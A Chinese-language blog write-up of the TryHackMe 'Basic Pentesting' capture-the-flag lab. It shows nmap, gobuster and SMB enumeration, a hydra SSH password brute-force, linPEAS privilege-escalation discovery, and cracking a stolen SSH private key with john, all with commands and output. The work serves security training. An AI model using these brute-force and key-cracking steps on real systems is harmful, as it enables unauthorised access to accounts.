1807 字
9 分鐘
thm_Basic_Pentesting

Try hack me Basic Pentesting Write up#

nmap找服務#

具備ssh、http、smb服務

Terminal window
─(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -F 10.48.191.207 -sV -sC --open
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-30 20:56 -0500
Nmap scan report for 10.48.191.207
Host is up (0.040s latency).
Not shown: 82 filtered tcp ports (no-response), 14 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 32:8b:8a:cb:10:fc:64:90:f3:23:41:1d:d1:82:f4:09 (RSA)
| 256 f3:ee:e0:e1:d4:67:b1:3b:88:c5:86:d8:59:44:1f:d9 (ECDSA)
|_ 256 10:73:c2:a5:88:b4:83:f3:7e:62:08:19:71:b8:07:ec (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2026-01-31T01:56:59
|_ start_date: N/A
|_clock-skew: 6s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.08 seconds

gobuster炸目錄#

找到隱藏目錄development

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -u 10.48.138.163 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.48.138.163
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
development (Status: 301) [Size: 320] [--> http://10.48.138.163/development/]
server-status (Status: 403) [Size: 278]
Progress: 29999 / 29999 (100.00%)
===============================================================
Finished
===============================================================

訪問隱藏目錄#

dev.txtj.txt,沒太多資訊,僅說密碼很弱

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K

使用enum4linux蒐集smb資訊#

發現有三個使用者kay、jan、ubuntu,同時支持匿名smb

Terminal window
─(kali㉿kali)-[~/Desktop]
└─$ enum4linux -a 10.48.191.207
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jan 30 21:14:49 2026
=========================================( Target Information )=========================================
Target ........... 10.48.191.207
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 10.48.191.207 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 10.48.191.207 )===============================
Looking up status of 10.48.191.207
BASIC2 <00> - B <ACTIVE> Workstation Service
BASIC2 <03> - B <ACTIVE> Messenger Service
BASIC2 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================( Session Check on 10.48.191.207 )===================================
[+] Server 10.48.191.207 allows sessions using username '', password ''
================================( Getting domain SID for 10.48.191.207 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 10.48.191.207 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 10.48.191.207 from srvinfo:
BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.15.13-Ubuntu
platform_id : 500
os version : 6.1
server type : 0x809a03
=======================================( Users on 10.48.191.207 )=======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
=================================( Share Enumeration on 10.48.191.207 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.48.191.207 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.48.191.207
//10.48.191.207/Anonymous Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.48.191.207/IPC$ Mapping: N/A Listing: N/A Writing: N/A
===========================( Password Policy Information for 10.48.191.207 )===========================
Password:
[+] Attaching to 10.48.191.207 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] BASIC2
[+] Builtin
[+] Password Info for Domain: BASIC2
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 136 years 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 136 years 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
======================================( Groups on 10.48.191.207 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on 10.48.191.207 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
S-1-22-1-1002 Unix User\ubuntu (Local User)
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
===============================( Getting printer info for 10.48.191.207 )===============================
No printers returned.
enum4linux complete on Fri Jan 30 21:22:59 2026
─(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -F 10.48.191.207 -sV -sC --open
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-30 20:56 -0500
Nmap scan report for 10.48.191.207
Host is up (0.040s latency).
Not shown: 82 filtered tcp ports (no-response), 14 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 32:8b:8a:cb:10:fc:64:90:f3:23:41:1d:d1:82:f4:09 (RSA)
| 256 f3:ee:e0:e1:d4:67:b1:3b:88:c5:86:d8:59:44:1f:d9 (ECDSA)
|_ 256 10:73:c2:a5:88:b4:83:f3:7e:62:08:19:71:b8:07:ec (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2026-01-31T01:56:59
|_ start_date: N/A
|_clock-skew: 6s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.08 seconds

smbmap找smb分享#

Terminal window
[+] IP: 10.48.138.163:445 Name: 10.48.138.163 Status: NULL Session
Disk Permissions Comment
---- ----------- -------
Anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba Server 4.15.13-Ubuntu)
[*] Closed 1 connections

smbclient匿名連線#

沒什麼資訊

Terminal window
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.48.138.163/Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 13:31:20 2018
.. D 0 Thu Apr 19 13:13:06 2018
staff.txt N 173 Thu Apr 19 13:29:55 2018
14282840 blocks of size 1024. 6244448 blocks available
smb: \>
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay

hydra暴力破解ssh#

找到jan的密碼armando

Terminal window
─(kali㉿kali)-[~/Desktop]
└─$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.48.191.207
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-30 21:36:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.48.191.207:22/
[STATUS] 195.00 tries/min, 195 tries in 00:01h, 14344208 to do in 1226:01h, 12 active
[STATUS] 194.33 tries/min, 583 tries in 00:03h, 14343820 to do in 1230:11h, 12 active
[22][ssh] host: 10.48.191.207 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-30 21:40:18

linPeas找權限提升漏洞#

先透過scp丟檔案給靶機,後透過linPeas發現/home/kay目錄下有個id_rsa檔案,並且jan有讀取權限

Terminal window
bash ./linpeas.sh > linpeas.txt
/home/kay/.ssh/id_rsa

ssh2johb解密#

cat出來嘗試使用ssh登入,會發現要輸入密碼解密私鑰,使用ssh2john轉成hash後使用john破解,找到密碼beeswax

Terminal window
ssh2john kay_id_rsa > kay_hash.txt
──(kali㉿kali)-[~/Desktop]
└─$ john kay_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (./kay_id_rsa)
1g 0:00:00:00 DONE (2026-01-31 21:42) 25.00g/s 2068Kp/s 2068Kc/s 2068KC/s behlat..bball40
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

使用ssh登入kay#

我們現在就成功使用kay的私鑰登入ssh,可在其桌面上讀pass.bak,取得最後的flag

Terminal window
ssh -i kay_id_rsa kay@10.48.138.163
cat /home/kay/pass.bak
thm_Basic_Pentesting
https://hankchao.github.io/posts/tryhackme/basic_pentesting/basic_pentesting/
作者
小檬
發佈於
2026-02-01
許可協議
CC BY-NC-SA 4.0